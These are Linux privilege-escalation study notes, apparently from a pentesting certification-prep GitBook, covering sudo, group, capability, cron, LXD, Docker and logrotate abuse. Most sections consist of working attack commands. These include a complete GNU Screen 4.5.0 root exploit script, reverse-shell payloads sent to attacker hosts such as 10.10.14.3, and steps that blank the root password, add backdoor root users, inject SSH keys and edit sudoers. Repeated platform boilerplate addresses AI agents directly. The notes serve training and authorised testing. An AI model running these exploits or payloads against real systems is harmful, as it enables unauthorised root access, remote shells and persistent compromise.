sudo -l 2>/dev/null | grep -E "\(/.*\)" | while read line; do
    cmd=$(echo $line | grep -oE "/[^[:space:]]*" | xargs basename)
    echo "Check GTFOBins for: $cmd"
done

Specific Command Analysis

# Extract allowed commands from sudo -l
sudo -l | grep -E "NOPASSWD:" | awk '{print $NF}'

# Check if commands exist in GTFOBins
for cmd in $(sudo -l | grep NOPASSWD | awk '{print $NF}' | xargs basename); do
    echo "Check GTFOBins for: $cmd"
done

🔑 Quick Reference

Immediate Escalation Commands

# Check sudo first
sudo -l

# Common quick wins:
sudo nano -> Ctrl+R Ctrl+X -> reset; bash 1>&0 2>&0
sudo vim -> :!/bin/bash
sudo find -> sudo find . -exec /bin/bash \; -quit
sudo less -> !/bin/bash
sudo python -> sudo python -c "import os; os.system('/bin/bash')"

Emergency Sudo Checks

# Can we run anything?
sudo -l

# Try common commands
sudo su -
sudo bash
sudo sh

# Check for wildcards
sudo -l | grep "\*"

⚠️ Dangerous Sudo Configurations

Red Flags

  • NOPASSWD entries - No authentication required
  • Wildcard permissions - * in command paths
  • Text editors - Direct root shell access
  • Interpreters - Full system access
  • ALL permissions - (ALL) ALL entries

Privilege Escalation Vectors

  1. Direct shell access - vim, nano, less
  2. Command execution - find, awk, sed with -exec
  3. File manipulation - cp, mv to overwrite system files
  4. Library hijacking - LD_PRELOAD with sudo
  5. Environment variables - Exploiting env_keep settings

Sudo misconfigurations are among the most common privilege escalation vectors - a single poorly configured sudo entry can provide immediate root access through GTFOBins exploitation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/sudo-rights-abuse.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Privileged Groups

🎯 Overview

Certain Linux groups provide elevated privileges that can be exploited for privilege escalation through container access, disk manipulation, or administrative file access.

🐳 High-Risk Groups

LXD Group

Impact: Container root = host root
# Check membership
id | grep lxd

# Create privileged container
lxd init  # Use defaults
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh

# Access host filesystem as root
cd /mnt/root/root

Docker Group

Impact: Host filesystem access via containers
# Check membership
id | grep docker

# Mount host filesystem
docker run -v /:/mnt -it ubuntu
cd /mnt/root  # Host root directory

Disk Group

Impact: Raw device access
# Check membership
id | grep disk

# Access filesystem directly
debugfs /dev/sda1
# In debugfs: cat /etc/shadow

ADM Group

Impact: Log file access
# Check membership
id | grep adm

# Read all system logs
find /var/log -readable 2>/dev/null
grep -r "password\|secret" /var/log/ 2>/dev/null

🚀 Quick Exploitation

LXD Privilege Escalation

# One-liner container escalation (if alpine image exists)
lxc init alpine pwn -c security.privileged=true && lxc config device add pwn host disk source=/ path=/mnt/root recursive=true && lxc start pwn && lxc exec pwn /bin/sh

Docker Escalation

# Mount host root
docker run -v /:/hostfs -it ubuntu bash
chroot /hostfs

Other Dangerous Groups

# Video group - framebuffer access
id | grep video

# Audio group - audio device access  
id | grep audio

# Shadow group - /etc/shadow access
id | grep shadow

# Staff group - /usr/local write access
id | grep staff

🔍 Group Enumeration

Check All User Groups

# Current user groups
id
groups

# All groups on system
cat /etc/group

# Group membership details
getent group lxd
getent group docker
getent group disk
getent group adm

Privileged Group Detection Script

#!/bin/bash
echo "=== PRIVILEGED GROUPS CHECK ==="

dangerous_groups="lxd docker disk adm shadow staff video audio"

echo "[+] Current user groups:"
id

for group in $dangerous_groups; do
    if id | grep -q $group; then
        echo "[!] PRIVILEGED GROUP: $group"
        case $group in
            lxd) echo "    -> Container root access" ;;
            docker) echo "    -> Host filesystem access" ;;
            disk) echo "    -> Raw device access" ;;
            adm) echo "    -> Log file access" ;;
            shadow) echo "    -> Password hash access" ;;
        esac
    fi
done

🔑 Quick Reference

Immediate Checks

# Check for dangerous group membership
id | grep -E "(lxd|docker|disk|adm|shadow)"

# LXD quick escalation
lxc image list  # Check for existing images
lxc list       # Check existing containers

# Docker quick escalation  
docker images  # Check available images
docker ps -a   # Check containers

Emergency Escalation

# If in lxd group
lxc exec container_name /bin/sh

# If in docker group
docker run -v /:/mnt -it ubuntu

# If in disk group
debugfs /dev/sda1

# If in adm group
find /var/log -readable | head -10

Privileged group membership often provides immediate privilege escalation paths - container access, disk manipulation, and administrative file access can lead directly to root privileges.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/privileged-groups.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Capabilities

🎯 Overview

Linux capabilities provide fine-grained privileges to processes. Misconfigured capabilities on binaries can be exploited for privilege escalation without requiring SUID bits.

🔍 Enumeration

Find Binaries with Capabilities

# Search all common binary directories
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; 2>/dev/null

# System-wide capability search
getcap -r / 2>/dev/null

# Example output:
# /usr/bin/vim.basic = cap_dac_override+eip
# /usr/bin/ping = cap_net_raw+ep

🔑 Dangerous Capabilities

High-Risk Capabilities

CapabilityImpact
cap_setuidChange effective UID to any user (including root)
cap_setgidChange effective GID to any group
cap_sys_adminBroad administrative privileges
cap_dac_overrideBypass file read/write/execute permissions

Other Notable Capabilities

cap_sys_chroot     # Change root directory
cap_sys_ptrace     # Attach/debug other processes  
cap_sys_nice       # Change process priority
cap_sys_time       # Modify system clock
cap_sys_module     # Load/unload kernel modules
cap_net_bind_service # Bind to privileged ports

🚀 Exploitation Examples

cap_dac_override (File Permission Bypass)

# If vim.basic has cap_dac_override
/usr/bin/vim.basic /etc/passwd

# Remove 'x' from root line:
# Before: root:x:0:0:root:/root:/bin/bash
# After:  root::0:0:root:/root:/bin/bash

# Switch to root (no password required)
su root

cap_setuid (UID Manipulation)

# If python has cap_setuid
python -c "import os; os.setuid(0); os.system('/bin/bash')"

# If perl has cap_setuid  
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'

cap_sys_admin (Administrative Access)

# Can mount filesystems, modify kernel parameters
# Often provides multiple escalation paths
mount -o bind /etc /tmp/etc  # Bind mount for manipulation

🔧 Advanced Exploitation

Non-interactive File Editing

# Remove root password via vim with cap_dac_override
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

# Verify change
cat /etc/passwd | head -n1
# Output: root::0:0:root:/root:/bin/bash

# Escalate to root
su root  # No password required

Python/Interpreter Capabilities

# If python has dangerous capabilities
getcap $(which python python3) 2>/dev/null

# Exploitation with cap_setuid
python -c "import os; os.setuid(0); os.execl('/bin/bash', 'bash')"

🔍 Detection Script

#!/bin/bash
echo "=== CAPABILITIES ENUMERATION ==="

echo "[+] Binaries with capabilities:"
getcap -r / 2>/dev/null

echo "[+] Dangerous capability check:"
dangerous_caps="cap_setuid cap_setgid cap_sys_admin cap_dac_override"

getcap -r / 2>/dev/null | while read line; do
    for cap in $dangerous_caps; do
        if echo "$line" | grep -q "$cap"; then
            echo "[!] DANGEROUS: $line"
        fi
    done
done

echo "[+] Quick capability lookup:"
for binary in vim nano python python3 perl ruby; do
    cap=$(getcap $(which $binary 2>/dev/null) 2>/dev/null)
    if [ ! -z "$cap" ]; then
        echo "  $cap"
    fi
done

🔑 Quick Reference

Immediate Checks

# Find capabilities
getcap -r / 2>/dev/null | grep -E "(setuid|setgid|sys_admin|dac_override)"

# Common targets
getcap $(which vim python python3 perl) 2>/dev/null

Emergency Exploitation

# cap_dac_override + vim
/usr/bin/vim.basic /etc/passwd
# Remove root password 'x'

# cap_setuid + python
python -c "import os; os.setuid(0); os.system('/bin/bash')"

# cap_setuid + perl
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'

Capabilities provide fine-grained privilege control but misconfigured capability assignments can offer direct privilege escalation paths without traditional SUID requirements.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/capabilities.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Vulnerable Services

🎯 Overview

Installed services with known vulnerabilities can provide privilege escalation vectors. Version identification and exploit matching are key to discovering these opportunities.

📺 Screen Privilege Escalation (CVE-2017-5618)

Vulnerability Details

  • Affected: GNU Screen version 4.5.0
  • Impact: Local privilege escalation to root
  • Method: ld.so.preload file overwrite vulnerability

Version Check

# Check Screen version
screen -v
# Vulnerable: Screen version 4.05.00 (GNU) 10-Dec-16

Exploitation

# Download/create screen exploit
cat << 'EOF' > screen_exploit.sh
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << 'LIBEOF' > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
LIBEOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << 'SHELLEOF' > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
SHELLEOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
EOF

# Execute exploit
chmod +x screen_exploit.sh
./screen_exploit.sh

🔍 Service Enumeration

Version Identification

# Common vulnerable services
apache2 -v
nginx -v
mysql --version
ssh -V
sudo -V

# Service status
systemctl list-units --type=service --state=running
ps aux | grep -E "(apache|nginx|mysql|screen)"

Package Version Check

# Installed package versions
dpkg -l | grep -E "(screen|apache|nginx|mysql)"
rpm -qa | grep -E "(screen|apache|nginx|mysql)"  # RHEL/CentOS

# Specific package info
dpkg -l screen
apt show screen

🚨 Common Vulnerable Services

Screen 4.5.0

  • CVE: CVE-2017-5618
  • Exploit: ld.so.preload overwrite
  • Impact: Root shell

Apache/Nginx

# Check for vulnerable modules
apache2 -M
nginx -T

# Look for known vulnerable versions
apache2 -v | grep -E "(2.2|2.4.0-2.4.29)"

MySQL/MariaDB

# Version check for known CVEs
mysql --version | grep -E "(5.1|5.5|5.6)"

# User-defined functions (UDF) exploitation
# If MySQL runs as root

SSH

# Check for vulnerable OpenSSH versions
ssh -V 2>&1 | grep -E "(OpenSSH_[1-7]\.|OpenSSH_8\.[0-3])"

🔧 Exploitation Framework

Service Exploit Workflow

# 1. Service discovery
ps aux | grep root | grep -v "^\["

# 2. Version identification  
service_name -v
service_name --version

# 3. CVE research
searchsploit service_name
# Check ExploitDB, GitHub

# 4. Exploit adaptation
# Modify exploit for target environment

# 5. Execution
# Run exploit and verify escalation

Quick Vulnerability Check

#!/bin/bash
echo "=== VULNERABLE SERVICES CHECK ==="

echo "[+] Screen version:"
screen -v 2>/dev/null

echo "[+] Apache version:"  
apache2 -v 2>/dev/null | head -1

echo "[+] Nginx version:"
nginx -v 2>&1

echo "[+] MySQL version:"
mysql --version 2>/dev/null

echo "[+] SSH version:"
ssh -V 2>&1 | head -1

echo "[+] Sudo version:"
sudo -V 2>/dev/null | head -1

echo "[+] Running services as root:"
ps aux | grep root | grep -E "(apache|nginx|mysql|screen|ssh)" | head -5

🎯 Exploitation Targets

High-Impact Services

  • Screen 4.5.0 - Direct root exploit
  • Apache < 2.4.30 - Various module vulnerabilities
  • MySQL/MariaDB - UDF exploitation if root
  • Sudo < 1.9.5 - Multiple CVEs available
  • OpenSSH - Various authentication bypasses

Service-Specific Exploits

# Screen 4.5.0
./screen_exploit.sh

# Sudo vulnerabilities  
# CVE-2021-4034, CVE-2021-3156, etc.

# Apache modules
# mod_rewrite, mod_ssl vulnerabilities

# Custom services
# Often have poor security practices

🔑 Quick Reference

Immediate Checks

# Version checks for common vulnerabilities
screen -v | grep "4.05.00"  # Vulnerable to CVE-2017-5618
sudo -V | grep -E "1\.[0-8]\."  # Multiple CVEs

# Running root services
ps aux | grep "^root" | grep -v "^\[" | head -10

Emergency Exploitation

# If Screen 4.5.0 found
./screen_exploit.sh  # Immediate root

# If vulnerable sudo found
# Check CVE-2021-4034, CVE-2021-3156 exploits

# Custom service analysis
strings /path/to/service | grep -i "password\|key"
ltrace /path/to/service

Vulnerable services provide direct privilege escalation opportunities - outdated software versions combined with known exploits often result in immediate root access.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/vulnerable-services.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Cron Job Abuse

🎯 Overview

Misconfigured cron jobs running as root with writable scripts provide privilege escalation opportunities through script modification and command injection.

🔍 Cron Job Enumeration

Find Cron Jobs

# System cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# User cron jobs
crontab -l
ls -la /var/spool/cron/crontabs/

Find Writable Scripts

# World-writable files that could be cron scripts
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# Common backup/maintenance script locations
find /opt /usr/local -name "*.sh" -perm -o+w 2>/dev/null
find /home -name "backup*" -type f 2>/dev/null

🕵️ Process Monitoring with pspy

Install and Run pspy

# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64

# Monitor processes and file system events
./pspy64 -pf -i 1000

Identify Cron Patterns

# Look for patterns in pspy output:
# UID=0 (root execution)
# PID patterns (new processes)
# File system events
# Recurring commands

# Example output:
# 2020/09/04 20:46:01 CMD: UID=0 PID=2201 | /bin/bash /dmz-backups/backup.sh

🎯 Exploitation Techniques

Script Modification

# 1. Identify writable script
ls -la /dmz-backups/backup.sh
# -rwxrwxrwx 1 root root 230 Aug 31 02:39 backup.sh

# 2. Backup original (IMPORTANT!)
cp /dmz-backups/backup.sh /tmp/backup.sh.bak

# 3. Append reverse shell
echo 'bash -i >& /dev/tcp/attacker_ip/443 0>&1' >> /dmz-backups/backup.sh

# 4. Setup listener
nc -lnvp 443

# 5. Wait for cron execution

Timing Analysis

# Check backup file timestamps to determine frequency
ls -la /dmz-backups/
# Look for patterns:
# www-backup-2020831-02:24:01.tgz
# www-backup-2020831-02:27:01.tgz  # Every 3 minutes!
# www-backup-2020831-02:30:01.tgz

🚀 Common Payloads

Reverse Shell

# Bash reverse shell
bash -i >& /dev/tcp/attacker_ip/port 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation

# Add user to sudoers
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> script.sh

# Create SUID binary
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> script.sh

# SSH key injection
echo 'mkdir -p /root/.ssh; echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys' >> script.sh

File Extraction

# Copy sensitive files
echo 'cp /etc/shadow /tmp/shadow_copy; chmod 644 /tmp/shadow_copy' >> script.sh

# Exfiltrate data
echo 'tar czf /tmp/root_data.tar.gz /root/' >> script.sh

🔧 Advanced Techniques

Stealth Modifications

# Preserve original functionality
# Original script:
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

# Modified with stealth:
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
bash -i >& /dev/tcp/10.10.14.3/443 0>&1  # Added line

Conditional Payloads

# Execute only once
if [ ! -f /tmp/.executed ]; then
    bash -i >& /dev/tcp/attacker_ip/443 0>&1
    touch /tmp/.executed
fi

📋 Detection Script

#!/bin/bash
echo "=== CRON JOB ABUSE ENUMERATION ==="

echo "[+] System cron jobs:"
cat /etc/crontab 2>/dev/null

echo "[+] Cron directories:"
find /etc -name "cron*" -type d 2>/dev/null

echo "[+] World-writable files (potential cron scripts):"
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | head -10

echo "[+] Backup scripts:"
find / -name "*backup*" -type f 2>/dev/null | head -10

echo "[+] Scripts in common cron locations:"
find /opt /usr/local /home -name "*.sh" 2>/dev/null | head -10

echo "[+] Recent files (potential cron outputs):"
find / -type f -mmin -5 2>/dev/null | head -10

🔑 Quick Reference

Immediate Checks

# Find writable scripts
find / -name "*.sh" -perm -o+w 2>/dev/null

# Check cron jobs
cat /etc/crontab | grep -v "^#"

# Look for backup patterns
ls -la /var/backups/ /opt/backups/ /home/*/backup* 2>/dev/null

Emergency Exploitation

# If writable script found
echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' >> writable_script.sh

# Monitor with pspy (if available)
./pspy64 -pf -i 1000

# Simple process monitoring
watch -n 1 'ps aux | grep -E "(backup|cron|root.*\.sh)"'

Timing Patterns

# Every minute: * * * * *
# Every 3 minutes: */3 * * * *  
# Every hour: 0 * * * *
# Daily at midnight: 0 0 * * *

# Check file timestamps for frequency
stat backup_file* | grep Modify

Cron job abuse exploits automated administrative tasks - writable scripts executed as root provide direct privilege escalation through command injection and script modification.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/cron-job-abuse.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

LXD Container Escape

🎯 Overview

LXD (Linux Daemon) container manager can be exploited for privilege escalation when user is member of lxd group through privileged container creation and host filesystem mounting.

🔍 Prerequisites

Check LXD Group Membership

# Check if user is in lxd group
id | grep lxd
groups | grep lxd

# Example output:
# uid=1000(user) gid=1000(user) groups=1000(user),116(lxd)

🚀 Exploitation Methods

Method 1: Existing Container Image

# List available images
lxc image list

# If image exists, create privileged container
lxc init image_name privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/bash

# Access host filesystem as root
cd /mnt/root/root

Method 2: Import Custom Image

# If ubuntu-template.tar.xz or similar exists
lxc image import ubuntu-template.tar.xz --alias ubuntutemp

# Create privileged container
lxc init ubuntutemp privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/bash

# Root access to host filesystem
ls -la /mnt/root/

Method 3: Build Alpine Image (if needed)

# Download Alpine image
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod +x build-alpine
sudo ./build-alpine

# Import and use
lxc image import alpine*.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc  
lxc exec privesc /bin/sh

🔧 LXD Initialization

First-time Setup

# Initialize LXD (if not already done)
lxd init

# Use defaults for all prompts:
# - Storage pool: yes (dir)
# - Network: no
# - Bridge: yes (may fail, but proceed)

🎯 Post-Exploitation

Host System Access

# Inside privileged container
cd /mnt/root

# Access host root directory
cd /mnt/root/root

# Read sensitive files
cat /mnt/root/etc/shadow
cat /mnt/root/root/.ssh/id_rsa

# Create backdoor user on host
echo 'backdoor:$6$salt$hash:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd

# Add SSH key for persistence
mkdir -p /mnt/root/root/.ssh
echo "ssh-rsa AAAA..." >> /mnt/root/root/.ssh/authorized_keys

🔍 Detection & Enumeration

Quick LXD Check Script

#!/bin/bash
echo "=== LXD PRIVILEGE ESCALATION CHECK ==="

echo "[+] LXD group membership:"
id | grep lxd && echo "  [!] User is in lxd group!"

echo "[+] Available LXC images:"
lxc image list 2>/dev/null

echo "[+] Existing containers:"
lxc list 2>/dev/null

echo "[+] LXD service status:"
systemctl status lxd 2>/dev/null

echo "[+] Container templates in current directory:"
ls -la *.tar.* 2>/dev/null

LXD Service Check

# Check if LXD is running
systemctl status lxd
ps aux | grep lxd

# Check LXD socket
ls -la /var/lib/lxd/
ls -la /var/snap/lxd/

🔑 Quick Reference

Immediate Checks

# Group membership
id | grep lxd

# Available resources
lxc image list
lxc list
ls -la *.tar.*  # Local container images

Emergency Escalation

# If LXD group confirmed and image available
lxc init image_name root -c security.privileged=true
lxc config device add root host disk source=/ path=/mnt/root recursive=true
lxc start root
lxc exec root /bin/bash
cd /mnt/root/root

One-liner Escalation

# Complete LXD escalation (if alpine image exists)
lxc init alpine pwn -c security.privileged=true && lxc config device add pwn host disk source=/ path=/mnt/root recursive=true && lxc start pwn && lxc exec pwn /bin/sh && cd /mnt/root

⚠️ Defensive Considerations

LXD Security Issues

  • Group membership automatically grants container privileges
  • Privileged containers bypass security isolation
  • Host filesystem access via device mounting
  • No password required for lxd group members

Hardening Recommendations

# Remove users from lxd group
sudo deluser username lxd

# Disable LXD service if not needed
sudo systemctl disable lxd
sudo systemctl stop lxd

# Monitor LXD usage
journalctl -u lxd

LXD group membership provides a direct path to root privileges through privileged container creation - the isolation boundary disappears when containers can mount the host filesystem with root access.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/lxd-container-escape.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Docker Container Escape

🎯 Overview

Docker group membership provides equivalent root access to host filesystem through container mounting and privileged container execution.

🔍 Prerequisites

Check Docker Group Membership

# Check if user is in docker group
id | grep docker
groups | grep docker

# Example output:
# uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

Docker Service Status

# Check if Docker is running
systemctl status docker
docker --version
docker ps

🚀 Exploitation Methods

Method 1: Mount Host Filesystem

# Mount host root directory
docker run -v /:/mnt -it ubuntu

# Inside container, access host filesystem
cd /mnt/root  # Host root directory
cat /mnt/etc/shadow  # Host shadow file

Method 2: Privileged Container

# Run privileged container with host access
docker run --privileged -v /:/hostfs -it ubuntu bash

# Change root to host filesystem
chroot /hostfs

# Now operating on host system as root
id  # Should show uid=0(root)

Method 3: Direct Host Shell

# Run container with host PID namespace and mount
docker run -it --pid=host --net=host --privileged -v /:/host ubuntu bash

# Access host filesystem
chroot /host

🔧 Docker Image Management

Available Images

# List available Docker images
docker images

# Search for lightweight images
docker search alpine
docker search ubuntu

Pull and Use Images

# Pull Ubuntu image if needed
docker pull ubuntu

# Pull Alpine (smaller)
docker pull alpine

# Use existing image
docker run -v /:/mnt -it existing_image

🎯 Post-Exploitation

Host System Access

# Inside container with host mount
cd /mnt  # or /hostfs depending on mount

# Read sensitive files
cat /mnt/etc/shadow
cat /mnt/root/.ssh/id_rsa

# Create backdoor user
echo 'backdoor:$6$salt$hash:0:0:root:/root:/bin/bash' >> /mnt/etc/passwd

# SSH key persistence
mkdir -p /mnt/root/.ssh
echo "ssh-rsa AAAA..." >> /mnt/root/.ssh/authorized_keys

# Copy important files
cp /mnt/etc/shadow /tmp/shadow_backup
tar czf /tmp/host_data.tar.gz /mnt/root/

Escape Verification

# Verify we're on host system (not container)
hostname
cat /proc/1/cgroup
ls -la /  # Should see host filesystem

🔍 Detection & Enumeration

Quick Docker Check Script

#!/bin/bash
echo "=== DOCKER PRIVILEGE ESCALATION CHECK ==="

echo "[+] Docker group membership:"
id | grep docker && echo "  [!] User is in docker group!"

echo "[+] Docker service status:"
systemctl status docker 2>/dev/null

echo "[+] Available Docker images:"
docker images 2>/dev/null

echo "[+] Running containers:"
docker ps 2>/dev/null

echo "[+] Docker version:"
docker --version 2>/dev/null

Docker Socket Check

# Check for Docker socket access
ls -la /var/run/docker.sock

# Test Docker commands
docker ps
docker images

🔑 Quick Reference

Immediate Checks

# Group membership
id | grep docker

# Available resources
docker images
docker ps -a

Emergency Escalation

# If Docker group confirmed
docker run -v /:/mnt -it ubuntu

# Alternative with existing image
docker run -v /:/hostfs --privileged -it image_name bash
chroot /hostfs

One-liner Escalation

# Complete Docker escalation
docker run -v /:/mnt -it ubuntu bash -c "cd /mnt/root && /bin/bash"

🔧 Advanced Techniques

Container Breakout

# Run with all host namespaces
docker run -it --pid=host --net=host --ipc=host --uts=host -v /:/host ubuntu bash

# Access host processes directly
ps aux | grep systemd  # See host processes

Persistence Methods

# Create persistent backdoor container
docker run -d --name backdoor -v /:/host --privileged ubuntu tail -f /dev/null

# Access anytime
docker exec -it backdoor bash
chroot /host

⚠️ Defensive Considerations

Docker Security Issues

  • Group membership = root equivalent access
  • Host filesystem mounting bypasses all isolation
  • Privileged containers disable security features
  • No authentication required for group members

Hardening Recommendations

# Remove users from docker group
sudo deluser username docker

# Use rootless Docker
dockerd-rootless.sh

# Monitor Docker usage
journalctl -u docker

Docker group membership eliminates container isolation - privileged containers with host mounts provide immediate root access to the underlying host system.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/docker-container-escape.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Logrotate Exploitation

🎯 Overview

Logrotate vulnerability (CVE-2011-1548, CVE-2011-1154) in specific versions allows privilege escalation through log file manipulation and race condition exploitation.

🔍 Prerequisites

Required Conditions

# 1. Write permissions on log files
ls -la /var/log/ | grep $(whoami)

# 2. Vulnerable logrotate version
logrotate --version
# Vulnerable: 3.8.6, 3.11.0, 3.15.0, 3.18.0

# 3. Logrotate runs as root (via cron)
ps aux | grep logrotate
cat /etc/cron.daily/logrotate

Configuration Analysis

# Check logrotate configuration
cat /etc/logrotate.conf

# Important settings
grep "create\|compress" /etc/logrotate.conf | grep -v "#"

# Check specific log configurations  
ls /etc/logrotate.d/
cat /etc/logrotate.d/*

🚀 Exploitation with Logrotten

Download and Compile Exploit

# Get logrotten exploit
git clone https://github.com/whotwagner/logrotten.git
cd logrotten

# Compile exploit
gcc logrotten.c -o logrotten

Create Payload

# Simple reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.14.55/1222 0>&1' > payload

# Alternative payloads
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > payload
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > payload

Execute Exploit

# Setup listener on attacker machine
nc -nlvp 9001

# Run logrotten exploit
./logrotten -p ./payload /tmp/tmp.log

# For create mode (most common)
./logrotten -p ./payload /var/log/dpkg.log

# Wait for logrotate execution (usually daily)

HTB Academy Lab Example

